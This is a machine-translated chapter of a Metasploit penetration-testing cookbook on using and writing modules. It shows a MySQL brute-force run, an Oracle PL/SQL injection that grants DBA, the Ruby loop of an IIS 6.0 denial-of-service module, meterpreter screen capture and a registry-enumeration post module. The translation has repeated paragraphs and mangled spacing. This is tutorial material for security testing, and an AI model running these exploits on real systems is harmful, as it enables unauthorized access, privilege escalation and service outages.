Metasploit Penetration Testing Cookbook - Part 7
- Transfer
Translation of the seventh part of the Metasploit Penetration Testing Cookbook

Chapter 7. Working with modules
In this chapter, we examine the following:
- Work with auxiliary scan modules
- Work with auxiliary admin modules
- SQL injection and DOS modules
- Post-operational modules
- Basics of creating modules
- Module analysis
- Creating a post-production module
Introduction
In the first chapter, we talked about the basics of Metasploit. We started with the fact that it has a modular architecture. This means that all exploits, payloads, encoders, etc. Present in the form of modules. The modular architecture makes it easy to extend the functionality of the framework. Any programmer can develop their own module and easily include it in the Metasploit framework. The penetration testing process may include several modules during system operation. For example, we start with the operational module, then we start using the payload module, then we can use several post-operational modules. Finally, we can use various modules to connect to the database to save our conclusions and results.
This chapter focuses on the / pentest / exploits / framework3 / modules directory, which contains a complete list of useful modules that will help us in penetration testing.
Work with auxiliary scan modules
Let's start with the scan modules. We already studied scanning in detail when we talked about nmap. In this recipe, we will analyze some of the ready-made modules that come with Metasploit. Although nmap is a powerful scanning tool, there are situations in which you need a special type of scan, for example, scanning for the presence of a MySQL database. To find the list of available scanners, we must go to / pentest / exploits / framework3 / modules / auxiliary / scanner . Let's start with the basic HTTP scanner.
Consider dir_scanner . The script will scan the host or the entire network to find interesting directory listings that can be further explored to gather information.
msf> use auxiliary / scanner / http / dir_scanner msf auxiliary (dir_scanner)> show options Module options (auxiliary / scanner / http / dir_scanner): Name Current Setting Required Description ---- --------------- -------- ----------- DICTIONARY /opt/metasploit/msf3/data/wmap/wmap_dirs.txt no Path of word dictionary to use PATH / yes The path to identify files RHOSTS yes The target address range or CIDR identifier RPORT 80 yes The target port THREADS 1 yes The number of concurrent threads VHOST no HTTP server virtual host
The show options command will show the available options that can be enabled in the module.
Let's look at a specific example. The mysql_login module , which scans the target for the presence of a MySQL server and, if it finds it, tries to access the database using brute force to attack:
msf> use auxiliary / scanner / mysql / mysql_login msf> show options Module options (auxiliary / scanner / mysql / mysql_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 3306 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts
As you can see, the module contains many parameters. You can specify files with usernames and passwords. Let's do this:
msf auxiliary (mysql_login)> set USER_FILE /users.txt USER_FILE => /users.txt msf auxiliary (mysql_login)> set PASS_FILE /pass.txt PASS_FILE => /pass.txt
Now we are ready to use brutus. It remains to specify the goal and run the module:
msf auxiliary (mysql_login)> set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary (mysql_login)> run
[*] 192.168.56.101{306 - Found remote MySQL version 5.0.51a
[*] 192.168.56.101{306 Trying username: 'administrator' with password: ''
The conclusion shows that the module began the process by searching for the MySQL server on the target. After which he began to substitute the username / password combinations that are in the files.
Work with auxiliary admin modules
Let's learn a few admin modules. Modules can serve various purposes, for example, searching for an admin panel or checking for default username / password. It all depends on the functionality. Consider mysql_enum :
msf> use auxiliary / admin / mysql / mysql_enum msf> show options Module options (auxiliary / admin / mysql / mysql_enum): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOST yes The target address RPORT 3306 yes The target port USERNAME no The username to authenticate as
As you can see, the module accepts login, password and RHOST parameters . It can be used to find the MySQL database, as well as for brute. We analyze the execution of the command:
msf auxiliary (mysql_enum)> exploit [*] Configuration Parameters: [*] C2 Audit Mode is Not Enabled [*] xp_cmdshell is Enabled [*] remote access is Enabled [*] allow updates is Not Enabled [*] Database Mail XPs is Not Enabled [*] Ole Automation Procedures are Not Enabled [*] Databases on the server: [*] Database name: master
The module returns a lot of useful information. He tells us that cmdshell and remote access were enabled on the target MySQL. It also returns the name of the database that is running as a process on the target machine.
There are several similar modules for other services, such as MSSQL and Apache. The principle of operation is the same for everyone. Remember to use the show options command to make sure that you pass the necessary parameters.
SQL injection and DOS modules
The SQL injection module uses known vulnerabilities, enter its use and provide unauthorized access. Vulnerability is known to affect Oracle 9i and 10g. Metasploit contains several modules that use known vulnerabilities in Oracle. Modules can be found in modules / auxiliary / sqli / oracle . Let's
analyze oracle vulnerability Oracle DBMS_METADATA XML . This vulnerability will escalate privileges from DB_USER to DB_ADMINISTRATOR ( DBA ). We will use the dbms_metadata_get_xml module :
msf> use auxiliary / sqli / oracle / dbms_metadata_get_xml msf> show options Module options (auxiliary / sqli / oracle / dbms_metadata_get_xml): Name Current Setting Required Description ---- --------------- -------- ----------- DBPASS TIGER yes The password to authenticate with. DBUSER SCOTT yes The username to authenticate with. RHOST yes The Oracle host. RPORT 1521 yes The TNS port. SID ORCL yes The sid to authenticate with. SQL GRANT DBA to SCOTT no SQL to execute.
The database first checks the login using the default credentials “scott” and “tiger”. When a module receives login as a database user, then it executes malicious code to escalate privileges to the database administrator.
msf auxiliary (dbms_metadata_get_xml)> set RHOST 192.168.56.1 msf auxiliary (dbms_metadata_get_xml)> set SQL YES msf auxiliary (dbms_metadata_get_xml)> run
The next module that we will examine is related to a denial of service (DOS) attack. We will analyze a simple vulnerability in IIS 6.0, which allows an attacker to crash a server by sending a POST request containing more than 40,000 request parameters. This module was tested on an unpatched Windows 2003 server running IIS 6.0. We will use ms10_065_ii6_asp_dos as a module :
msf> use auxiliary / dos / windows / http / ms10_065_ii6_asp_dos msf auxiliary (ms10_065_ii6_asp_dos)> show options Module options (auxiliary / dos / windows / http / ms10_065_ii6_asp_dos): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 80 yes The target port URI /page.asp yes URI to request VHOST no The virtual host name to use in requests msf auxiliary (ms10_065_ii6_asp_dos)> set RHOST 192.168.56.1 RHOST => 192.168.56.1 msf auxiliary (ms10_065_ii6_asp_dos)> run [*] Attacking http://192.168.56.1:80/page.asp
After the run command , the module will start attacking the target IIS server by sending an HTTP request to port 80 with a URI in the form of page.asp . Successful execution of the module will result in a complete denial of service for the IIS server.
The oracle database vulnerability is exploited by injecting a user-defined PL / SQL function that runs in the SYS context, and this elevates the privileges of the scott user as an administrator.
Let's look at two vulnerabilities. Oracle Database Vulnerability by Vulnerability is performed by injecting a user-defined PL / SQL function that runs in the context of SYS and elevates the user “scott” to administrator.
Function example:
CREATE OR REPLACE FUNCTION "SCOTT". "ATTACK_FUNC" return varchar2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; COMMIT; RETURN ''; END
The function will escalate the privileges of the user "scott" .
SELECT SYS.DBMS_METADATA.GET_DDL ('' '|| SCOTT.ATTACK_FUNC () ||' '', '')
FROM dual;The previous lines of code explain the injection process. A detailed analysis of vulnerabilities in Oracle software is beyond the scope of the book / translation.
Now there is a DOS attack module that uses the vulnerability in IIS 6.0 server. An attacker sends a POST request, which includes more than 40,000 request parameters, and is sent in the form application / x-www-form-urlencoded, the encoding type. Here is part of the script that the module serves:
Now, consider a module for a DOS attack that exploits a vulnerability in IIS 6.0. An attacker sends a POST request that includes more than 40,000 request parameters and sends an encoding type in the form application / x-www-form-urlencoded .
while (1)
begin
connect
payload = "C = A &" * 40000
length = payload.size
sploit = "HEAD # {datastore ['URI']} HTTP / 1.1 \ r \ n"
sploit << "Host: # {datastore ['VHOST'] || rhost} \ r \ n"
sploit << "Connection: Close \ r \ n"
sploit << "Content-Type: application / x-www-form-urlencoded \ r \ n"
sploit << "Content-Length: # {length} \ r \ n \ r \ n"
sploit << payload
sock.put (sploit)
#print_status ("DoS packet sent.")
disconnect
rescue Errno :: ECONNRESET
next
end
endAs you can see, the script generates a payload size of more than 40,000. Then a connection is established on port 80 to send an HTTP request to the IIS server. After the request has been transferred to the server, it will crash and stop working.
Post-operational modules
We have a separate dedicated list of modules that can improve our skills in the pentest. Since they are post-operational modules, we will need an active session with a goal. We can use any of the methods described in previous chapters to gain access to the target.
Post-modules - a collection of the most interesting and convenient functions that you can use during penetration testing. Let's quickly analyze some of them. We will use unbroken Windows 7 with an active meterpreter session.
Let's start with a simple enum_logged_on_users module. It shows a list of users who are logged into Windows.
meterpreter> getsystem ... got system (via technique 4). meterpreter> run post / windows / gather / enum_logged_on_users [*] Running against session 1 Current logged users ====================== SID User --- ---- S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC \ DARKLORD Recently Logged Users ======================= SID Profile Path --- ------------ S-1-5-18% systemroot% \ system32 \ config \ systemprofile S-1-5-19 C: \ Windows \ ServiceProfiles \ LocalService S-1-5-20 C: \ Windows \ ServiceProfiles \ NetworkService S-1-5-21-23502 C: \ Users \ DARKLORD S-1-5-21-235 C: \ Users \ Winuser
Successful module execution shows us two tables. The first table shows the user logged in, and the second table shows the recently logged in user.
Take another example. There is an interesting post-module that takes a screenshot of the screen on the target machine.
meterpreter> run post / windows / gather / screen_spy [*] Migrating to explorer.exe pid: 1104 [*] Migration successful [*] Capturing 60 screenshots with a delay of 5 seconds
You can analyze the enum_logged_on_user.rb and screen_spy.rb scripts in modules / post / windows / gather . They will help you get an idea of how these modules work.
Basics of creating modules
To start creating our own module, we need basic knowledge of Ruby. We have already discussed the use and implementation of Ruby in meterpreter scripting.
Let's start with the basics. To make the module readable for Metasploit, you need to import the MSF libraries:
require 'msf / core'
This line indicates that the module will include all the dependencies and functions of the Metasploit framework.
class Metasploit3 <Msf :: Auxiliary
This line defines the class that inherits the properties of the auxiliary family. The auxiliary module can import several functions, such as scanning, opening a connection, using a database, and so on:
include Msf ::
The include statement is used to include specific framework functionality in a module. For example, if we are building a scanner module, then you can enable it as:
include Msf :: Exploit :: Remote :: TCP
This line will include remote TCP scan functionality.
def initialize
super (
'Name' => 'TCP Port Scanner',
'Version' => '$ Revision $',
'Description' => 'Enumerate open TCP services',
'Author' => [darklord],
'License' => MSF_LICENSE
)The script lines give us information about the module, its name, version, author, description, etc.
register_options (
[
OptString.new ('PORTS', [true, "Ports to scan (eg 25,80,110-900)", "1-10000"]),
OptInt.new ('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]),
OptInt.new ('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), self.class)
deregister_options ('RPORT')Module analysis
Now we will analyze the ftp module. We already discussed the basic module template in the previous recipe, so here we will proceed from the main part of the script.
For analysis, we take the anonymous ftp access module. The main script is located at the following address: pentest / exploits / framework3 / modules / auxiliary / scanner / ftp / anonymous.rb
Full script for reference:
class Metasploit3 <Msf :: Auxiliary
include Msf :: Exploit :: Remote :: Ftp
include Msf :: Auxiliary :: Scanner
include Msf :: Auxiliary :: Report
def initialize
super (
'Name' => 'Anonymous FTP Access Detection',
'Version' => '$ Revision: 14774 $',
'Description' => 'Detect anonymous (read / write) FTP server access.',
'References' => [['URL', 'http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],],
'Author' => 'Matteo Cantoni ',
'License' => MSF_LICENSE
)
register_options ([Opt :: RPORT (21),], self.class)
end
def run_host (target_host)
begin
res = connect_login (true, false)
banner.strip! if banner
dir = Rex :: Text.rand_text_alpha (8)
if res
write_check = send_cmd (['MKD', dir], true)
if (write_check and write_check = ~ / ^ 2 /)
send_cmd (['RMD', dir], true)
print_status ("# {target_host}: # {rport} Anonymous READ / WRITE (# {banner})")
access_type = "rw"
else
print_status ("# {target_host}: # {rport} Anonymous READ (# {banner})")
access_type = "ro"
end
report_auth_info (
: host => target_host,
: port => rport,
: sname => 'ftp',
: user => datastore ['FTPUSER'],
: pass => datastore ['FTPPASS'],
: type => "password _ # {access_type}",
: active => true
)
end
disconnect
rescue :: Interrupt
raise $!
rescue :: Rex :: ConnectionError, :: IOError
end
end
end Let's analyze how the script works:
def run_host (target_host)
begin
res = connect_login (true, false)
banner.strip! if banner
dir = Rex :: Text.rand_text_alpha (8)This function is used to start the connection. The res variable contains the boolean value true or false . The connect_login function establishes a connection to a remote host.
if res
write_check = send_cmd (['MKD', dir], true)
if (write_check and write_check = ~ / ^ 2 /)
send_cmd (['RMD', dir], true)
print_status ("# {target_host}: # {rport} Anonymous READ / WRITE (# {banner})")
access_type = "rw"
else
print_status ("# {target_host}: # {rport} Anonymous access_type =" ro "Once the connection is established, the module tries to check whether the anonymous user has read / write permissions or not. write_check checks if a write operation is possible or not. It then checks whether the operation is successful or not. Depending on the status of privileges, a message is printed on the screen. If the write operation "failed", then the status is printed as ro or read-only:
report_auth_info (
: host => target_host,
: port => rport,
: sname => 'ftp',
: user => datastore ['FTPUSER'],
: pass => datastore ['FTPPASS'],
: type => "password _ # {access_type}",
: active => true
)
endThis was a small demonstration of how a module functions in a framework. You can modify existing scripts to meet your needs.
In the following example, we will see how to create your own module and load it into the framework.
Creating a post-production module
Let's create a small post-production module that will list all installed applications on the target machine.
To start with the creation of the module, we first import the framework of the library and include the required dependencies:
First, import the library framework and enable the required dependencies:
require 'msf / core'
require 'rex'
require 'msf / core / post / windows / registry'
class Metasploit3 <Msf :: Post
include Msf :: Post :: Windows :: Registry
def initialize (info = {})
super (update_info (info,
'Name' => 'Windows Gather Installed Application Enumeration',
'Description' =>% q {This module will enumerate all installed applications},
'License' => MSF_LICENSE,
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter']
)))
endThe script starts with the Metasploit core libraries. Then we create a class that extends the properties of the Msf :: Post modules.
Next, we create an initialization function that is used to initialize and define the module properties and description. This basic structure remains the same in almost all modules.
Next, we create the initialization function, which is used to initialize and determine the properties of the module. This basic structure remains the same in almost all modules.
It should be noted here that we included " rex " as well as the "registry" libraries.
Now our next step is to create a table that can display our extracted result. We have a special library Rex :: Ui :: Textthat can be used to complete this task.
def app_list
tbl = Rex :: Ui :: Text :: Table.new (
'Header' => "Installed Applications",
'Indent' => 1,
'Columns' => ["Name", "Version"])
appkeys = [
'HKLM \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
'HKCU \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
'HKLM \\ SOFTWARE \\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
'HKCU \\ SOFTWARE \\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
]
apps = []
appkeys.each do | keyx86 |
found_keys = registry_enumkeys (keyx86)
if found_keys
found_keys.each do | ak |
apps << keyx86 + "\\" + ak
end
end
endThe body of the script begins with building a table and various column names. Then a separate array is created in the registry that will be used to enumerate the list of applications. The array will consist of various registry lines that contain information about installed applications on the target computer. Application data is stored in a separate array, called as apps .
So, we begin to process the enumeration by running a loop that looks at different places in the registry stored in the appskey array. Then the enumeration process begins, starting a cycle that looks at different locations in the registry and is stored in the appskey array :
t = []
while (not apps.empty?)
1.upto (16) do t << framework.threads.spawn ("Module (# {self.refname})", false, apps.shift) do | k |
begin
dispnm = registry_getvaldata ("# {k}", "DisplayName")
dispversion = registry_getvaldata ("# {k}", "DisplayVersion")
tbl << [dispnm, dispversion] if dispnm and dispversion rescue
end
endThe following lines of script fill tables with different values in the corresponding columns. The script uses the built-in registry_getvaldata function , which retrieves the values and adds them to the table:
results = tbl.to_s
print_line ("\ n" + results + "\ n")
p = store_loot ("host.applications", "text / plain", session, results, "applications.txt", "Installed Applications")
print_status ("Results stored in: # {p}")
end
def run
print_status("Enumerating applications installed on #{sysinfo['Computer']}")
app_list
end
endThe last few lines of the script are used to store information in a separate text file called applications.txt. The file is populated using the store_loot function, which saves the complete table to a text file.
The last few lines of the script are used to store information in a separate text file called applications.txt . The file is populated using the store_loot function , which stores the complete table in a text file.
Finally, a result is displayed on the screen indicating that the file was created. This was a small example of how you can create and add your own module in the framework. You definitely need knowledge of Ruby scripting.
By the way, for everyone who wants to learn the professional Pentester tool - Metasploit Framework - I recommend a webinar course from Konstantin Levin: Penetration testing using the Metasploit Framework